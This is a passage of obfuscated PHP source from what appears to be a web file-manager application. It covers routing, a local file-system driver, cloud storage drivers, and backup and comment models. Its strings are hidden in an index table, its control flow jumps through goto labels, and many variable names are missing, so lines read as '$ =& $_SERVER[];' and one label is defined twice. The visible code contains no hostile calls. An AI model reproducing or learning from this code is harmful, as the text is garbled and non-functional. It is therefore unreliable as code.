$ɞ = $this->pluginHost . $Ե . $ϗ[1683] . $; } else { if ($ʹ === $ϗ[78]) { $ɞ = $this->pluginHost . $Ե; } else { if ($ʹ == $ϗ[1684]) { $ɞ = STATIC_PATH . $Ե . $ϗ[1683] . $⇨; } else { if ($ʹ == $ϗ[1685]) { $ɞ = APP_HOST . $ϗ[1686] . $Ե . $ϗ[1683] . $⇨; } else { if (isset($[$ʹ])) { $ɞ = $[$ʹ] . $Ե . $ϗ[1683] . $; } } } } } } if (!$) { return $ɞ; } echo $ɞ; } public function link($Ҍя = false, $ɑ = '') { $ =& $_SERVER[]; $淅 = $this->linkHas == !1; $this->linkHas = !0; if (!$Ҍя) { $this->link($[1687], $[1685]); $this->link($[1688], $[1684]); $this->link($[1689], $[1684]); $this->link($[1690], $[1684]); $this->link($[1691], $[1684]); if ($淅) { Hook::trigger($[1692]); } return; } $DzŢ = $this->url($Ҍя, $ɑ, !1); if (substr($Ҍя, -3) == $[1693]) { echo $[1694] . $DzŢ . $[1695] . $[262]; } else { if (substr($Ҍя, -4) == $[1696]) { echo $[1697] . $DzŢ . $[1698] . $[262]; } } if ($淅) { Hook::trigger($[1692]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\x6e\x79" => "\x5b\136\57\x5d\x2b", "\x3a\x6e\165\x6d" => "\x5b\x30\x2d\x39\x5d\53", "\72\x61\x6c\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($ό, $) { $ =& $_SERVER[]; if ($ό == $[1699]) { $ = array_map($[1700], $[0]); $Ǩ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $˥ = $[2]; } else { $ = null; $Ǩ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $˥ = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $Ǩ); array_push(self::$methods, strtoupper($ό)); array_push(self::$callbacks, $˥); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($뒤 = true) { self::$halts = $뒤; } public static function dispatch() { $ǩ =& $_SERVER[]; $Ƒ = parse_url($_SERVER[$ǩ[1701]], PHP_URL_PATH); $Ǒ = $_SERVER[$ǩ[164]]; $哞 = array_keys(static::$patterns); $ŝ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ǩ[1354], $ǩ[8], self::$routes); if (in_array($Ƒ, self::$routes)) { $ = array_keys(self::$routes, $Ƒ); foreach ($ as $ʄ) { if (self::$methods[$ʄ] == $Ǒ || self::$methods[$ʄ] == $ǩ[1702] || in_array($Ǒ, self::$maps[$ʄ])) { $ = !0; if (!is_object(self::$callbacks[$ʄ])) { $˃ͣ = explode($ǩ[8], self::$callbacks[$ʄ]); $ݮ = end($˃ͣ); $Թ = explode($ǩ[1286], $ݮ); $ٓ = new $Թ[0](); $ٓ->{$Թ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$ʄ]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $ʄ) { if (strpos($ʄ, $ǩ[4]) !== !1) { $ʄ = str_replace($哞, $ŝ, $ʄ); } if (preg_match($ǩ[1703] . $ʄ . $ǩ[1704], $Ƒ, $)) { if (self::$methods[$] == $Ǒ || self::$methods[$] == $ǩ[1702] || !empty(self::$maps[$]) && in_array($Ǒ, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $˃ͣ = explode($ǩ[8], self::$callbacks[$]); $ݮ = end($˃ͣ); $Թ = explode($ǩ[1286], $ݮ); $ٓ = new $Թ[0](); if (!method_exists($ٓ, $Թ[1])) { echo $ǩ[1705]; } else { call_user_func_array(array($ٓ, $Թ[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1706]] . $[1707]); echo $[1708]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ǩ[1701]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto DӖ챈; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1403]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($ԡ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ԡ, $config[$[1430]], $config[$[1429]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1429]], $config[$[1430]]); } public function getPathOuter($ʻ) { $ȕ =& $_SERVER[]; $猣 = $this->iconvApp($this->pathBase); $ʻ = $this->iconvApp($ʻ); if (substr($猣, 0, 2) == $ȕ[1403]) { $猣 = BASIC_PATH . substr($猣, 2); } if (substr($ʻ, 0, 2) == $ȕ[1403]) { $ʻ = BASIC_PATH . substr($ʻ, 2); } $猣 = KodIO::clear($猣); $ʻ = KodIO::clear($ʻ); $ʻ = substr($ʻ, strlen($猣)); if (empty($this->pathDriver)) { return $ʻ; } return $this->pathDriver . $ȕ[8] . ltrim($ʻ, $ȕ[8]); } public function mkfile($Ц, $ = '', $ = REPEAT_RENAME) { $Ц = $this->iconvSystem($Ц); @touch($Ц); if ($) { file_put_contents($Ц, $); } @chmod($Ц, $this->pathAuth); if (is_file($Ц)) { return $this->getPathOuter($Ц); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function mkdir($݅, $ = REPEAT_SKIP) { $݅ = $this->iconvSystem($݅); if (is_dir($݅)) { return $this->getPathOuter($݅); } @mkdir($݅, $this->pathAuth, !0); @chmod($݅, $this->pathAuth); if (is_dir($݅)) { return $this->getPathOuter($݅); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function copyFile($, $η) { $this->mkdir($this->pathFather($η)); $ = $this->iconvSystem($); $η = $this->iconvSystem($η); $ = copy_64($, $η); @chmod($η, $this->pathAuth); if ($) { return $this->getPathOuter($η); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function moveFile($ѿ, $Ʉ) { $this->mkdir($this->pathFather($Ʉ)); $ѿ = $this->iconvSystem($ѿ); $Ʉ = $this->iconvSystem($Ʉ); $䎔 = intval(@rename($ѿ, $Ʉ)); if (!$䎔) { if ($䎔 = intval(@copy_64($ѿ, $Ʉ))) { @unlink($ѿ); } } @chmod($Ʉ, $this->pathAuth); if ($䎔) { return $this->getPathOuter($Ʉ); } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } public function movePath($ũ۲, $辡դ, $ޕ = false) { $Ξ =& $_SERVER[]; $ũ۲ = $this->iconvSystem($ũ۲); $辡դ = $this->iconvSystem($辡դ); $ = rtrim($辡դ, $Ξ[8]) . $Ξ[8] . ($ޕ ? $ޕ : get_path_this($ũ۲)); if (file_exists($)) { return !1; } $ = intval(@rename($ũ۲, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $Ξ[1441], !0); return !1; } public function delFile($˼̐) { $˼̐ = $this->iconvSystem($˼̐); if (!@unlink($˼̐)) { @chmod($˼̐, $this->pathAuth); if (@unlink($˼̐)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); return !1; } return !0; } public function delFolder($ϝ) { $ =& $_SERVER[]; $ϝ = $this->iconvSystem($ϝ); if (!is_dir($ϝ)) { return !0; } if (!($ = opendir($ϝ))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1356]) { continue; } $ = $ϝ . $[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($); return rmdir($ϝ); } public function rename($ܩ, $) { $ =& $_SERVER[]; $ = $this->fileNameAuto($this->pathFather($ܩ), $); $ = $this->iconvSystem($); $ܩ = $this->iconvSystem($ܩ); $ = $this->pathFather($ܩ); $ڸ˃ = rtrim($, $[8]) . $[8] . $; $ͨ = @rename($ܩ, $ڸ˃); $ڸ˃ = $this->iconvApp($ڸ˃); if ($ͨ) { return $this->getPathOuter($ڸ˃); } $this->writeLog(__FUNCTION__ . $[1441], !0); return !1; } public function size($ի) { $ի = $this->iconvSystem($ի); return filesize_64($ի); } public function info($ڹ) { $ڹ = $this->iconvSystem($ڹ); if ($this->isFolder($ڹ)) { return $this->folderInfo($ڹ); } else { if ($this->isFile($ڹ)) { return $this->fileInfo($ڹ); } } return !1; } protected function infoChildren($奍, &$, $ = true) { $ɊѬ =& $_SERVER[]; check_abort_echo(); $奍 = rtrim($奍, $ɊѬ[8]) . $ɊѬ[8]; if ($) { $奍 = $this->iconvSystem($奍); } if (!($レϳ = @opendir($奍))) { return; } while (($ˁ = readdir($レϳ)) !== !1) { if ($ˁ == $ɊѬ[10] || $ˁ == $ɊѬ[1356]) { continue; } $ = $奍 . $ˁ; if (is_file($) || is_link($)) { $[$ɊѬ[80]]++; $[$ɊѬ[79]] += filesize_64($); } else { if (is_dir($)) { $[$ɊѬ[81]]++; $this->infoChildren($, $, !1); } } } closedir($レϳ); } private function folderInfo($Ѳ, $ = false) { $ =& $_SERVER[]; $Ѳ = rtrim($Ѳ, $[8]) . $[8]; $м = $this->iconvApp($this->pathThis($Ѳ)); if ($) { return array($[32] => $м, $[87] => $this->getPathOuter($Ѳ), $[33] => $[78]); } $ߊ = array($[32] => $м, $[87] => $this->getPathOuter($Ѳ), $[33] => $[78], $[231] => @filectime($Ѳ), $[88] => @filemtime($Ѳ), $[1445] => @fileatime($Ѳ), $[1446] => is_readable($Ѳ), $[1447] => is_writable($Ѳ), $[1448] => get_mode($Ѳ)); return $ߊ; } private function fileInfo($, $ = false) { $Ӄ =& $_SERVER[]; $П = $this->iconvApp($this->pathThis($)); if ($) { return array($Ӄ[32] => $П, $Ӄ[87] => $this->getPathOuter($), $Ӄ[33] => $Ӄ[230], $Ӄ[79] => $this->size($), $Ӄ[169] => $this->ext($П)); } $˒ = array($Ӄ[32] => $П, $Ӄ[87] => $this->getPathOuter($), $Ӄ[33] => $Ӄ[230], $Ӄ[231] => @filectime($), $Ӄ[88] => @filemtime($), $Ӄ[1445] => @fileatime($), $Ӄ[79] => $this->size($), $Ӄ[169] => $this->ext($П), $Ӄ[1446] => is_readable($), $Ӄ[1447] => is_writable($), $Ӄ[1448] => get_mode($)); return $˒; } public function exist($ߙ) { $ߙ = $this->iconvSystem($ߙ); return @file_exists($ߙ); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($ˡ) { $ˡ = $this->iconvSystem($ˡ); return @is_dir($ˡ); } public function listPath($ڷ, $͋ = false) { $ =& $_SERVER[]; $ڷ = $this->iconvSystem($ڷ); $ڷ = rtrim($ڷ, $[8]) . $[8]; $ګ = array($[85] => array(), $[86] => array()); if (!($ = @opendir($ڷ))) { return $ګ; } while (($ʟ = readdir($)) !== !1) { if ($ʟ == $[10] || $ʟ == $[1356]) { continue; } $ = $ڷ . $ʟ; if (is_file($)) { $ګ[$[86]][] = $this->fileInfo($, $͋); } else { $ګ[$[85]][] = $this->folderInfo($, $͋); } } closedir($); return $ګ; } public function listAll($ͶӘ, &$ʻ = array()) { $ =& $_SERVER[]; $ͶӘ = $this->iconvSystem($ͶӘ); $ͶӘ = rtrim($ͶӘ, $[8]) . $[8]; if (!($ = @opendir($ͶӘ))) { return $ʻ; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1356]) { continue; } $ܴ = $ͶӘ . $; $Ǘˈ = is_dir($ܴ) && !is_link($ܴ) ? 1 : 0; $ܴ = $Ǘˈ ? $ܴ . $[8] : $ܴ; $ʻ[] = array($[87] => $ܴ, $[78] => $Ǘˈ, $[88] => intval(@filemtime($ܴ)), $[79] => $Ǘˈ ? 0 : intval($this->size($ܴ))); if ($Ǘˈ) { $this->listAll($ܴ, $ʻ); } } closedir($); return $ʻ; } public function has($, $ = false, $ޘ = true) { $ϼٻ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $ϼٻ[8]) . $ϼٻ[8]; if (!($ = @opendir($))) { return !1; } $߽ = 0; $ӱ = 0; $۞ = 0; while (($魮Ƃ = readdir($)) !== !1) { if ($魮Ƃ == $ϼٻ[10] || $魮Ƃ == $ϼٻ[1356]) { continue; } $ = $ . $魮Ƃ; if ($) { $۞++; if (@is_file($)) { $߽++; } else { $ӱ++; } if ($۞ > 10000) { break; } continue; } if ($ޘ) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $ϼٻ[8])) { return !0; } } } closedir($); if ($) { return array($ϼٻ[239] => $߽, $ϼٻ[240] => $ӱ); } return !1; } public function hashSimple($ƿ) { $ =& $_SERVER[]; if (!$ƿ) { return md5($[12]); } $ƿ = $this->iconvSystem($ƿ); $К = $this->size($ƿ); $ۚ = 200; $ߜ = 50; if ($К <= $ۚ * $ߜ) { return $this->hashMd5($ƿ) . $К; } $לܼ = $[12]; $ = intval($К / $ߜ); $չ = fopen($ƿ, $[1449]); if (!$չ) { return $לܼ; } for ($ = 0; $ < $ߜ; $++) { fseek_64($չ, $ * $); $לܼ .= fread($չ, $ۚ); } fseek_64($չ, $К - $ۚ); $לܼ .= fread($չ, $ۚ); fclose($չ); return md5($לܼ) . $К; } public function getContent($褣) { $褣 = $this->iconvSystem($褣); return file_get_contents($褣); } public function setContent($˜, $ = '') { $˜ = $this->iconvSystem($˜); $ɑ = @file_put_contents($˜, $, LOCK_EX); if (!$ɑ) { $this->writeLog(__FUNCTION__ . $_SERVER[][1441], !0); } clearstatcache(); @chmod($˜, $this->pathAuth); return $ɑ === !1 ? !1 : !0; } public function fileSubstr($裍, $ = 0, $ = false) { $ =& $_SERVER[]; $裍 = $this->iconvSystem($裍); if ($ === !1) { $ = $this->size($裍); } if ($ <= 0) { return $[12]; } $ = fopen($裍, $[1449]); if (!$) { return !1; } fseek_64($, $); $ቢ = fread($, $); fclose($); if (!$ቢ) { $this->writeLog(__FUNCTION__ . $[1441], !0); } return $ቢ; } public function upload($ܣ, $, $ = false, $ؙ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $ܣ); } return $this->copyFile($, $ܣ); } public function setModifyTime($ɲ, $ = '') { @touch($ɲ, intval($)); } public function download($Җ畆, $ܨ) { return $this->iconvSystem($Җ畆); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($Ƈ) { parent::__construct($Ƈ); $this->setSignVersion($_SERVER[][247]); } public function fileOutImage($ƃ, $벌ⅺ = 250) { $Ư =& $_SERVER[]; if ($this->size($ƃ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ƃ, $벌ⅺ); } $܌ = array($Ư[1450] => $Ư[1451] . $벌ⅺ . $Ư[1452]); $˓ = $this->link($ƃ, $܌); $this->fileOutLink($˓); } public function fileOutLink($ُ) { $ס =& $_SERVER[]; if (substr($ُ, 0, 7) == $ס[313]) { $ُ = $ס[314] . substr($ُ, 7); } header($ס[175] . $ُ); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ِ) { parent::__construct($ِ); $this->setSignVersion($_SERVER[][247]); } public function fileOutLink($) { $썘 =& $_SERVER[]; if (substr($, 0, 7) == $썘[313]) { $ = $썘[314] . substr($, 7); } header($썘[175] . $); die; } } goto C; a: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\155\x2e\142\x61\x63\x6b\165\160\114\x69\163\x74"; public $field = array("\x69\x6f", "\156\x61\155\x65", "\x73\164\141\x74\165\x73", "\143\157\156\x74\x65\x6e\x74", "\155\141\156\165\141\154", "\x72\145\x73\x75\154\x74", "\x74\x69\x6d\x65\106\x72\157\x6d", "\x74\151\x6d\x65\x54\157"); public function config() { $ٺ =& $_SERVER[]; Action($ٺ[1987])->taskInit(); $틕 = Model($ٺ[837])->get($ٺ[858]); $틕 = json_decode($틕, !0); $틕 = is_array($틕) ? $틕 : array(); $this->parseContent($틕); unset($틕[$ٺ[1733]]); Model($ٺ[1732])->cacheClear(); $ = $ٺ[1988]; $ = Model($ٺ[1989])->findByKey($ٺ[1751], $); if (!$) { $ = array(); } if (isset($[$ٺ[206]])) { $[$ٺ[206]] = json_decode($[$ٺ[206]], !0); } if (isset($틕[$ٺ[206]])) { $[$ٺ[206]][$ٺ[1736]] = $틕[$ٺ[206]]; unset($틕[$ٺ[206]]); } return array_merge($, $틕); } public function listData($ = false, $컘 = "\155\x6f\144\151\x66\x79\x54\x69\x6d\145", $ = false) { $ = parent::listData($, $컘, !0); if (!$) { return $; } if ($) { $ = array($); } foreach ($ as &$ō) { $this->parseContent($ō); } return $ ? $[0] : $; } public function parseContent(&$) { $ݓ =& $_SERVER[]; $ӄ = _get($, $ݓ[171], $ݓ[91]); if (!in_array($ӄ, array($ݓ[843], $ݓ[1204]))) { $[$ݓ[171]] = $ӄ == $ݓ[91] ? $ݓ[1204] : $ݓ[843]; } } public function lastItem() { $¸ڂ = $this->listData(); return !empty($¸ڂ[0]) ? $¸ڂ[0] : null; } public function kill($) { $ =& $_SERVER[]; $ֻ = $this->listData($); if (!$ֻ || empty($ֻ[$[32]])) { return !0; } Task::kill($[857]); Task::kill($[875]); Task::kill($[884]); $֍ = $ֻ[$[32]]; $ = TEMP_FILES . $[854] . $֍ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][475]]); $陰 = $this->backupPath($); IO::remove($陰, !1); return !0; } private function backupPath($) { $㹓 =& $_SERVER[]; $ߖ = $[$㹓[32]]; $ݚ = Model($㹓[837])->get($㹓[838]); $ = substr(md5($㹓[839] . $ݚ . $ߖ), 0, 8); return "\x7b\x69\157\x3a{$[$㹓[819]]}\175\x2f\144\x61\x74\x61\x62\x61\163\x65\x2f\x62\x61\143\153\165\160\x2f" . $ߖ . $㹓[11] . $; } public function start() { $ʝ =& $_SERVER[]; if ($GLOBALS[$ʝ[6]][$ʝ[92]][$ʝ[1990]] != $ʝ[91]) { return !0; } $ꢬ = $this->config(); if (!$ꢬ || $ꢬ[$ʝ[1733]] != $ʝ[91]) { return !1; } if ($ꢬ[$ʝ[171]] == $ʝ[843]) { $݄ާ = Model($ʝ[837])->get($ʝ[1317]); if ($݄ާ == $ʝ[1318]) { $ꢬ[$ʝ[171]] = $ʝ[1204]; } } $ȡ = $this->process(); foreach ($ȡ as $̾) { if ($̾) { return Task::restart($̾[$ʝ[475]]); } } $Ĩ = new Backup(); $ = $Ĩ->db(); if ($) { $ = $Ĩ->dbFile(); if ($ && $ꢬ[$ʝ[171]] == $ʝ[843]) { $ = $Ĩ->file(); } } Backup::set(array($ʝ[817] => 1, $ʝ[828] => time())); return !0; } public function process() { $Ή =& $_SERVER[]; $뜲 = array($Ή[824] => Task::get($Ή[857]), $Ή[829] => Task::get($Ή[875]), $Ή[230] => Task::get($Ή[884])); $Ԅ = !1; foreach ($뜲 as &$) { if ($Ԅ) { $ = !1; continue; } if ($) { $ = intval(_get($, $Ή[1768], 0)); if (time() - $ > 7200) { Task::kill($[$Ή[475]]); $Ԅ = !0; $ = !1; } } } return $뜲; } public function restore() { $ =& $_SERVER[]; ActionCall($[1131], !0, 1); ActionCall($[1131], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\156\164"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\x61\155\145" => "\143\157\x6d\x6d\x65\156\164\137\155\x65\x74\x61", "\x6d\145\x74\141\106\151\145\x6c\144" => "\143\x6f\x6d\155\145\x6e\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ۨ) { $Չ =& $_SERVER[]; if ($ۨ[$Չ[1991]]) { $ = $this->where(array($Չ[1992] => $ۨ[$Չ[1991]]))->find(); if (!$ || $[$Չ[190]] != $ۨ[$Չ[190]] || $[$Չ[569]] != $ۨ[$Չ[569]]) { return !1; } $this->where(array($Չ[1992] => $ۨ[$Չ[1991]]))->setAdd($Չ[1993], 1); } $ۨ[$Չ[1994]] = 0; $ۨ[$Չ[1993]] = 0; $ۨ[$Չ[817]] = 1; return $this->add($ۨ); } public function commentCount($, $, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ށ = array($[569], $[1995] => $[565]); $ = array($[569] => array($[7], $), $[190] => $); if ($) { $[$[1763]] = $; } $ѧ = $this->field($ށ)->where($)->group($[569])->select(); return array_to_keyvalue($ѧ, $[569], $[565]); } public function starTarget($Ѡ, $) { $ =& $_SERVER[]; $ = $Ѡ + self::TYPE_STAR_OFFSET; $ = array($[1763] => USER_ID, $[190] => $, $[569] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[475] => $[$[475]]))->delete(); } $̑ = array($[1991] => 0, $[1763] => USER_ID, $[817] => 1, $[171] => $[12], $[190] => $, $[569] => $, $[1994] => 0, $[1993] => 0); return $this->add($̑); } public function starTargetCount($, $択) { $ =& $_SERVER[]; $ᡫ = $択 + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $ᡫ); $ = $this->commentCount($, $ᡫ, USER_ID); return array($[1996] => $, $[1997] => $); } public function starTargetUserList($辥, $) { $ =& $_SERVER[]; $ = $辥 + self::TYPE_STAR_OFFSET; $ڷ = array($[569] => $, $[190] => $); $ꆉ = $this->where($ڷ)->count(); $ = array($[332] => $ꆉ, $[1998] => array()); if (!$ꆉ) { return $; } $䛭̡ = $this->field($[1763])->where($ڷ)->limit(500)->select(); $䛭̡ = array_to_keyvalue($䛭̡, $[12], $[1763]); $[$[1998]] = Model($[577])->userListInfo($䛭̡); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $蛯 = array($[1999] => $); $ܙ = $this->where($蛯)->find(); $Ɵ = _get($ܙ, $[1994], 0); $ޚە = array($[332] => $Ɵ, $[1998] => array()); if (!$Ɵ) { return $ޚە; } $ = Model($[2000])->field($[1763])->where($蛯)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1763]); $ޚە[$[1998]] = Model($[577])->userListInfo($); return $ޚە; } public function remove($) { $ג̄ =& $_SERVER[]; $ݢϟ = array($ג̄[1992] => $); $͞ = $this->where($ݢϟ)->find(); if ($͞[$ג̄[1991]]) { $this->where(array($ג̄[1992] => $͞[$ג̄[1991]]))->setAdd($ג̄[1993], -1); } return $this->where($ݢϟ)->delete(); } public function edit($, $) { $ =& $_SERVER[]; $ = array($[1992] => $); return $this->where($)->save(array($[2001] => $)); } public function prasise($) { $᠌ =& $_SERVER[]; $ژ = Model($᠌[2002]); $ = array($᠌[1992] => $, $᠌[1754] => USER_ID); $ϖ˵ = $ژ->where($)->find(); if (!$ϖ˵) { $ژ->add($); $ޡя = $this->where(array($᠌[1992] => $))->setAdd($᠌[1994], 1); } else { $ژ->where($)->delete(); $ޡя = $this->where(array($᠌[1992] => $))->setAdd($᠌[1994], -1); } return $ޡя; } public function targetInfo($ԣ, $𡁑) { $ =& $_SERVER[]; $צƹ = array($[648] => $ԣ, $[649] => $𡁑); $Հ = $this->where($צƹ)->count(); $ە = "\x52\x49\x47\110\x54\x20\112\x4f\111\x4e\x20{$this->tablePrefix}\143\157\155\x6d\x65\x6e\164\x5f\160\162\141\151\163\x65\40\x73\164\x61\x72\40\157\156\40\143\x6f\x6d\155\145\x6e\164\x2e\x63\x6f\155\155\x65\156\x74\x49\x44\40\75\x20\x73\x74\141\162\56\x63\x6f\155\155\x65\156\x74\111\104"; $ = $this->alias($[430])->where($צƹ)->join($ە, $[2003])->count(); $ˊ = array($[2004] => $Հ, $[2005] => $); return $ˊ; } public function listData($巒) { $߅ =& $_SERVER[]; if (isset($巒[$߅[2006]])) { if ($巒[$߅[2006]]) { $巒[$߅[1999]] = array($߅[1085], intval($巒[$߅[2006]])); } unset($巒[$߅[2006]]); } if (isset($巒[$߅[2007]])) { if ($巒[$߅[2007]]) { $巒[$߅[1999]] = array($߅[1082], intval($巒[$߅[2007]])); } unset($巒[$߅[2007]]); } return $this->_listData($巒); } private function _listData($ۜ) { $ =& $_SERVER[]; $쟗 = $this->where($ۜ)->_makeOrder()->selectPage(100); $this->_listAppendParent($쟗[$[445]]); $this->_listAppendUser($쟗[$[445]]); $this->_listAppendMeta($쟗[$[445]]); return $쟗; } private function _makeOrder() { $ҕ =& $_SERVER[]; $˿Ȕ = array($ҕ[1994], $ҕ[1993], $ҕ[231]); $Ίʃ = Input::get($ҕ[530], $ҕ[7], $ҕ[497], $˿Ȕ); $볶 = Input::get($ҕ[531], $ҕ[7], $ҕ[1756], array($ҕ[2008], $ҕ[526])); $ = $Ίʃ . $ҕ[53] . $볶; return $this->order($); } private function _listAppendParent(&$Ο) { $ׄ =& $_SERVER[]; $ҭɵ = array_unique(array_to_keyvalue($Ο, $ׄ[12], $ׄ[1991])); $ҭɵ = array_remove_value($ҭɵ, $ׄ[228]); if (!$ҭɵ) { return; } $ = $this->where(array($ׄ[1992] => array($ׄ[7], $ҭɵ)))->select(); $ = array_to_keyvalue($, $ׄ[1999]); foreach ($Ο as &$Ҍ) { if (isset($[$Ҍ[$ׄ[1991]]])) { $Ҍ[$ׄ[2009]] = $[$Ҍ[$ׄ[1991]]]; } } unset($Ҍ); } private function _listAppendUser(&$ۅ) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ۅ, $[12], $[1763])); $ = array_remove_value($, $[228]); if (count($) == 0) { return; } foreach ($ۅ as $ʼn) { if (isset($ʼn[$[2009]])) { $[] = $ʼn[$[2009]][$[1763]]; } } $鯸 = Model($[598])->userListInfo($); foreach ($ۅ as &$ʼn) { $ʼn[$[662]] = $鯸[$ʼn[$[1763]]]; if (isset($ʼn[$[2009]])) { $ʼn[$[2009]][$[662]] = $鯸[$ʼn[$[2009]][$[1763]]]; } } unset($ʼn); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1999])); $ = array_remove_value($, $[228]); if (!$) { return; } foreach ($ as $߮±) { if (isset($߮±[$[2009]])) { $[] = $߮±[$[2009]][$[1999]]; } } $ͤɂ = $this->metaList($); if (!$ͤɂ) { return !1; } foreach ($ as &$߮±) { $߮±[$[539]] = $ͤɂ[$߮±[$[1999]]]; if (isset($߮±[$[2009]])) { $߮±[$[2009]][$[539]] = $ͤɂ[$߮±[$[2009]][$[1999]]]; } } unset($߮±); } private function metaList($¬) { $塱 =& $_SERVER[]; if (!$¬) { return array(); } $ = array($塱[1999] => array($塱[7], $¬)); $ = Model($塱[2010])->where($)->select(); $ = array_to_keyvalue_group($, $塱[1999]); foreach ($ as $ݱ => $߾) { $ܓ = array(); foreach ($߾ as $ף) { $ܓ[$ף[$塱[97]]] = $ף[$塱[450]]; } $[$ݱ] = $ܓ; } return $ ? $ : array(); } public function removeTarget($Ɉ, $٤) { $㬱 =& $_SERVER[]; if (!$٤) { return !0; } $٤ = is_array($٤) ? $٤ : array($٤); $ = array($㬱[190] => $Ɉ, $㬱[569] => array($㬱[7], $٤)); $σí = $this->field($㬱[1999])->where($)->select(); $먗 = array_to_keyvalue($σí, $㬱[12], $㬱[1999]); if (!$먗) { return !0; } $ = array($㬱[1999] => array($㬱[7], $먗)); $this->where($)->delete(); Model($㬱[2002])->where($)->delete(); Model($㬱[2011])->where($)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\157\x5f\146\x69\154\x65\137\143\x6f\156\x74\145\x6e\164\163"; protected $dataAuto = array(array("\x63\x72\x65\141\164\x65\x54\x69\x6d\x65", "\x74\151\155\x65", "\x69\x6e\x73\145\x72\x74", "\x66\165\156\143\164\151\x6f\x6e")); } goto BɢӮ; C: define($_SERVER[][317], 3); define($_SERVER[][318], 1); define($_SERVER[][319], 0); goto D; C: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $Ɨ =& $_SERVER[]; $Ӆ = Backup::get(); self::$io = $Ӆ[$Ɨ[819]]; self::$name = $Ӆ[$Ɨ[32]]; $ = new DbManage(); $쏼 = $->dbType(); $ = array($Ɨ[852] => $쏼, $Ɨ[853] => time()); Backup::set($); $ = $this->tmpFilesPath() . $Ɨ[854] . self::$name . $Ɨ[8]; del_dir($); mk_dir($); $Ú = $݀ܟ = 0; try { $ = $->db()->getTables(); } catch (Exception $ѐ) { return !1; } $ = array_diff($, array($Ɨ[855], $Ɨ[856])); foreach ($ as $ω) { $Ú += $->model($ω)->count(); } $ = new Task($Ɨ[857], $Ɨ[858], $Ú, LNG($Ɨ[859]) . $Ɨ[860] . LNG($Ɨ[861])); $GLOBALS[$Ɨ[862]] = self::$name; foreach ($ as $ω) { $̸ӱ = $ . $ω . $Ɨ[863]; $ = null; if ($ω == $Ɨ[864] && (!isset($Ӆ[$Ɨ[171]]) || $Ӆ[$Ɨ[171]] == $Ɨ[228])) { $ = self::$io; } $݀ܟ += $->sqlFromDb($ω, $̸ӱ, $, $); } unset($GLOBALS[$Ɨ[862]]); $->end(); if ($݀ܟ > $Ú) { $Ú = $݀ܟ; } $ = array($Ɨ[852] => $쏼, $Ɨ[840] => 1, $Ɨ[865] => $Ú, $Ɨ[866] => $݀ܟ, $Ɨ[867] => time()); Backup::set($); if ($Ú - $݀ܟ > 